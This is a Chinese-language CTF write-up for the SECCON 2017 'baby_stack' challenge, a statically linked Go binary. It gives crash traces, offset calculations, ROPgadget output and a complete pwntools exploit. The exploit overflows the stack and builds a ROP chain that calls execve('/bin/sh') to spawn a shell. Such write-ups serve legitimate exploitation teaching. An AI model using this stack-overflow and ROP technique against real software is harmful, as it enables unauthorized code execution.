前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >SECCON 2017 baby_stack

SECCON 2017 baby_stack

作者头像
用户1423082
发布2024-12-31 18:23:07
发布2024-12-31 18:23:07
3700
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

保护措施

代码语言:javascript
代码运行次数:0
复制
Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

就是一个输入输出的程序

代码语言:javascript
代码运行次数:0
复制
# ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 
Please tell me your name >> a
Give me your message >> b
Thank you, a!
msg : b

静态链接的,那么就不用libc了

代码语言:javascript
代码运行次数:0
复制
# file ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 
./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

不过呢,是go语言编写的,输入比较长的字符给message后可以看到报错中有.go文件

代码语言:javascript
代码运行次数:0
复制
./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 
Please tell me your name >> a
Give me your message >> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
panic: runtime error: growslice: cap out of range

goroutine 1 [running]:
panic(0x4e4800, 0xc82000a360)
	/usr/lib/go-1.6/src/runtime/panic.go:481 +0x3e6
fmt.(*fmt).padString(0xc82006cef8, 0x6161616161616161, 0x6161616161616161)
	/usr/lib/go-1.6/src/fmt/format.go:130 +0x406
fmt.(*fmt).fmt_s(0xc82006cef8, 0x6161616161616161, 0x6161616161616161)
	/usr/lib/go-1.6/src/fmt/format.go:322 +0x61
fmt.(*pp).fmtString(0xc82006cea0, 0x6161616161616161, 0x6161616161616161, 0xc800000073)
	/usr/lib/go-1.6/src/fmt/print.go:521 +0xdc
fmt.(*pp).printArg(0xc82006cea0, 0x4c1c00, 0xc82000a340, 0x73, 0x0, 0x0)
	/usr/lib/go-1.6/src/fmt/print.go:797 +0xd95
fmt.(*pp).doPrintf(0xc82006cea0, 0x5220a0, 0x18, 0xc82003bea8, 0x2, 0x2)
	/usr/lib/go-1.6/src/fmt/print.go:1238 +0x1dcd
fmt.Fprintf(0x7fa1306231e8, 0xc820028010, 0x5220a0, 0x18, 0xc82003bea8, 0x2, 0x2, 0x40beee, 0x0, 0x0)
	/usr/lib/go-1.6/src/fmt/print.go:188 +0x74
fmt.Printf(0x5220a0, 0x18, 0xc82003bea8, 0x2, 0x2, 0x20, 0x0, 0x0)
	/usr/lib/go-1.6/src/fmt/print.go:197 +0x94
main.main()
	/home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x45e

这里有个坑就是你输入的字符串太长就像上面的,感觉没啥可利用的地方,假如你输入115个 你可以看到你可以控制复制的源地址和复制的大小,计算一下偏移就是104

代码语言:javascript
代码运行次数:0
复制
# ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 
Please tell me your name >> a
Give me your message >> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
unexpected fault address 0x0
fatal error: fault
[signal 0xb code=0x80 addr=0x0 pc=0x456551]

goroutine 1 [running]:
runtime.throw(0x507550, 0x5)
	/usr/lib/go-1.6/src/runtime/panic.go:547 +0x90 fp=0xc82003b5b8 sp=0xc82003b5a0
runtime.sigpanic()
	/usr/lib/go-1.6/src/runtime/sigpanic_unix.go:27 +0x2ab fp=0xc82003b608 sp=0xc82003b5b8
runtime.memmove(0xc82008c00b, 0x6161616161616161, 0x616161)
	/usr/lib/go-1.6/src/runtime/memmove_amd64.s:83 +0x91 fp=0xc82003b610 sp=0xc82003b608
fmt.(*fmt).padString(0xc82006cd58, 0x6161616161616161, 0x616161)
	/usr/lib/go-1.6/src/fmt/format.go:130 +0x456 fp=0xc82003b730 sp=0xc82003b610
fmt.(*fmt).fmt_s(0xc82006cd58, 0x6161616161616161, 0x616161)
	/usr/lib/go-1.6/src/fmt/format.go:322 +0x61 fp=0xc82003b760 sp=0xc82003b730
fmt.(*pp).fmtString(0xc82006cd00, 0x6161616161616161, 0x616161, 0xc800000073)
	/usr/lib/go-1.6/src/fmt/print.go:521 +0xdc fp=0xc82003b790 sp=0xc82003b760
fmt.(*pp).printArg(0xc82006cd00, 0x4c1c00, 0xc82000a340, 0x73, 0x0, 0x0)
	/usr/lib/go-1.6/src/fmt/print.go:797 +0xd95 fp=0xc82003b918 sp=0xc82003b790
fmt.(*pp).doPrintf(0xc82006cd00, 0x5220a0, 0x18, 0xc82003bea8, 0x2, 0x2)
	/usr/lib/go-1.6/src/fmt/print.go:1238 +0x1dcd fp=0xc82003bca0 sp=0xc82003b918
fmt.Fprintf(0x7f7b5b4011e8, 0xc820028010, 0x5220a0, 0x18, 0xc82003bea8, 0x2, 0x2, 0x40beee, 0x0, 0x0)
	/usr/lib/go-1.6/src/fmt/print.go:188 +0x74 fp=0xc82003bce8 sp=0xc82003bca0
fmt.Printf(0x5220a0, 0x18, 0xc82003bea8, 0x2, 0x2, 0x20, 0x0, 0x0)
	/usr/lib/go-1.6/src/fmt/print.go:197 +0x94 fp=0xc82003bd50 sp=0xc82003bce8
main.main()
	/home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x45e fp=0xc82003bf50 sp=0xc82003bd50
runtime.main()
	/usr/lib/go-1.6/src/runtime/proc.go:188 +0x2b0 fp=0xc82003bfa0 sp=0xc82003bf50
runtime.goexit()
	/usr/lib/go-1.6/src/runtime/asm_amd64.s:1998 +0x1 fp=0xc82003bfa8 sp=0xc82003bfa0

假如传入可读的地址和一个大小,我们就可以print出东西

代码语言:javascript
代码运行次数:0
复制
# -*- coding: utf-8 -*-
from pwn import *

#context.log_level = 'debug' 

p = process("baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8")

padding = "a" * 104

payload = padding + p64(0xc82003b608) + p64(8)


p.recvuntil("Please tell me your name >> ")
p.sendline("a")
p.recvuntil("Give me your message >> ")
p.sendline(payload)

p.interactive()

结果

代码语言:javascript
代码运行次数:0
复制
python exp.py 
[!] Could not find executable 'baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8' in $PATH, using './baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8' instead
[+] Starting local process './baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8': pid 7346
[*] Switching to interactive mode
[*] Process './baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8' stopped with exit code 0 (pid 7346)
Thank you, V{E\x00\x00\x00\x00\x00!
msg : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[*] Got EOF while reading in interactive
$

可以看到,我们控制了第一个printf的输出,那么我们是不是可以通过加长控制第二个输出不产生异常,进而覆盖返回地址呢(注意重点是不产生异常)

通过70 80 90这样试,发现padding是80

代码语言:javascript
代码运行次数:0
复制
payload = padding + p64(0xc82003b608) + p64(8) + "a" * 70
payload = padding + p64(0xc82003b608) + p64(8) + "a" * 80
payload = padding + p64(0xc82003b608) + p64(8) + "a" * 90

发现padding是80

最后gdb字符串定位

代码语言:javascript
代码运行次数:0
复制
padding = "a" * 104
padding2 = "a" * 80

payload = padding + p64(0xc82003b608) + p64(8) + padding2 + p64(0xc82003b608) + p64(8) + "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b"

gdb查看

代码语言:javascript
代码运行次数:0
复制
[-------------------------------------code-------------------------------------]
   0x401454 <main.main+1108>:	mov    QWORD PTR [rsp+0x20],rbx
   0x401459 <main.main+1113>:	call   0x45ac40 <fmt.Printf>
   0x40145e <main.main+1118>:	add    rsp,0x1f8
=> 0x401465 <main.main+1125>:	ret    
   0x401466 <main.main+1126>:	lea    r8,[rbx+0x8]
   0x40146a <main.main+1130>:	mov    QWORD PTR [rsp],r8
   0x40146e <main.main+1134>:	mov    QWORD PTR [rsp+0x8],rax
   0x401473 <main.main+1139>:	call   0x40f330 <runtime.writebarrierptr>
[------------------------------------stack-------------------------------------]
0000| 0xc82003bf48 ("ZAAxAAyAAzA%%A%"...)
0008| 0xc82003bf50 ("AzA%%A%sA%BA%$A"...)
0016| 0xc82003bf58 ("A%BA%$A%nA%CA%-"...)
0024| 0xc82003bf60 ("nA%CA%-A%(A%DA%"...)
0032| 0xc82003bf68 ("%(A%DA%;A%)A%EA"...)
0040| 0xc82003bf70 ("A%)A%EA%aA%0A%F"...)
0048| 0xc82003bf78 ("aA%0A%FA%b")
0056| 0xc82003bf80 --> 0x6225 ('%b')

算偏移

代码语言:javascript
代码运行次数:0
复制
pwndbg> x /gx 0xc82003bf48
0xc82003bf48:	0x417941417841415a
pwndbg> pattern_offset  0x417941417841415a
4717873834093527386 found at offset: 192

这静态编译的,没有导入表,使用系统调用吧,查了下程序中刚好有系统调用,64位是syscall,32位是int 0x80

代码语言:javascript
代码运行次数:0
复制
ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "syscall"
0x0000000000456889 : syscall ; ret

而64位下,execve的系统调用号为59,即0x3b

代码语言:javascript
代码运行次数:0
复制
#define __NR_execve 59

查询可以到这,我之前记录了

http://blog.csdn.net/u012763794/article/details/78777938

接下来我们就构造rop,调用execve(“bin//sh”),传参的话是前三个参数在rdi,rsi和rdx

rdi的设置

首先设置rdi为bss首地址地址的组件

代码语言:javascript
代码运行次数:0
复制
ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "pop rdi"
0x0000000000470931 : pop rdi ; or byte ptr [rax + 0x39], cl ; ret

往bss数据写入的组件

代码语言:javascript
代码运行次数:0
复制
ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "mov qword ptr \[rdi\]"
0x0000000000456499 : mov qword ptr [rdi], rax ; ret

给rax赋值

代码语言:javascript
代码运行次数:0
复制
ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "pop rax ; ret"
0x00000000004016ea : pop rax ; ret

上面要设置rax为可读可写,选个0x58e100吧

代码语言:javascript
代码运行次数:0
复制
pwndbg> vmmap 
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x4b1000 r-xp    b1000 0      /root/learn/SECCON2017/baby_stack/baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
          0x4b1000           0x58e000 r--p    dd000 b1000  /root/learn/SECCON2017/baby_stack/baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
          0x58e000           0x5a0000 rw-p    12000 18e000 /root/learn/SECCON2017/baby_stack/baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
          0x5a0000           0x5c0000 rw-p    20000 0      [heap]
      0xc000000000       0xc000001000 rw-p     1000 0      
      0xc81fff8000       0xc820100000 rw-p   108000 0      
    0x7ffff7f2b000     0x7ffff7ffb000 rw-p    d0000 0      
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000 0      [vvar]
    0x7ffff7ffd000     0x7ffff7fff000 r-xp     2000 0      [vdso]
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

rsi和rdx要置0

代码语言:javascript
代码运行次数:0
复制
ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "pop rsi"
0x000000000046defd : pop rsi ; ret

ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "pop rdx"
0x00000000004a247c : pop rdx ; or byte ptr [rax - 0x77], cl ; ret

最终payload

代码语言:javascript
代码运行次数:0
复制
# -*- coding: utf-8 -*-
from pwn import *

# context.log_level = 'debug' 

p = process("baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8")

padding = "a" * 104
padding2 = "a" * 80
padding3 = "a" * 192

# ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 
# 0x0000000000470931 : pop rdi ; or byte ptr [rax + 0x39], cl ; ret
# 0x0000000000456499 : mov qword ptr [rdi], rax ; ret
# 0x00000000004016ea : pop rax ; ret
# 0x000000000046defd : pop rsi ; ret
# 0x00000000004a247c : pop rdx ; or byte ptr [rax - 0x77], cl ; ret
# 0x0000000000456889 : syscall ; ret
pop_rdi_ret = 0x0000000000470931
mov_rdi_rax = 0x0000000000456499
pop_rax_ret = 0x00000000004016ea
pop_rsi_ret = 0x000000000046defd
pop_rdx_ret = 0x00000000004a247c
syscall_ret = 0x0000000000456889

wx_address = 0x58e100
bss_addr = 0x000000000059f920
bin_sh = "/bin/sh\x00"

# write bin_sh to bss_addr
rop_gadgets = ""
rop_gadgets += p64(pop_rax_ret)
rop_gadgets += p64(wx_address)
rop_gadgets += p64(pop_rdi_ret)
rop_gadgets += p64(bss_addr)
rop_gadgets += p64(pop_rax_ret)
rop_gadgets += bin_sh
rop_gadgets += p64(mov_rdi_rax)

# left rsi = rdx = 0
rop_gadgets += p64(pop_rsi_ret)
rop_gadgets += p64(0)
rop_gadgets += p64(pop_rax_ret)
rop_gadgets += p64(wx_address)
rop_gadgets += p64(pop_rdx_ret)
rop_gadgets += p64(0)

# set syscall num: eax = 0x3b
rop_gadgets += p64(pop_rax_ret)
rop_gadgets += p64(0x3b)

# syscall
rop_gadgets += p64(syscall_ret)


payload = padding + p64(0xc82003b608) + p64(8) + padding2 + p64(0xc82003b608) + p64(8) + padding3 + rop_gadgets

p.recvuntil("Please tell me your name >> ")
p.sendline("a")
p.recvuntil("Give me your message >> ")
p.sendline(payload)

p.interactive()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2017-12-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档